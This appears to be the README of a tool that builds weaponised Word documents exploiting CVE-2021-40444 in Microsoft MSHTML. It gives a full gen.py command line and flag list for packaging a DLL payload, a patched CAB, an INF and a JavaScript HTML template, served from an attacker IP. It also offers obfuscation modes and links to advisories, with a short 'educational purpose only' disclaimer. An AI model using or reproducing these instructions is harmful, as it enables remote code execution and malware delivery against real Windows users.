Ensure to run setup.sh first as you will need few directories. Once you have
run the script, you should be able to run gen.py with the example given:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity- The location of
http.serverwill be inwebdirectory. This directory will have 3 files:-
- .cab
- .html
- .docx
This repository is for educational purpose only and not intended to be used in the wild for bad intention. Any illegal use of this repo is strictly at your own responsibilty and risk.
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444
- https://github.com/klezVirus/CVE-2021-40444
- https://github.com/lockedbyte/CVE-2021-40444
- https://trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html
- https://tenable.com/blog/microsoft-s-september-2021-patch-tuesday-addresses-60-cves-cve-2021-40444
- https://news.sophos.com/en-us/2021/09/14/big-office-bug-squashed-for-september-2021s-patch-tuesday/
- https://huntress.com/blog/cybersecurity-advisory-hackers-are-exploiting-cve-2021-40444
- https://microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/
- https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/
- https://blog.sunggwanchoi.com/remote-template-injection/
- https://youtube.com/watch?v=dgdx3QqPCuA
- https://businessinsights.bitdefender.com/technical-advisory-zero-day-vulnerability-in-microsoft-mshtml-allows-remote-code-execution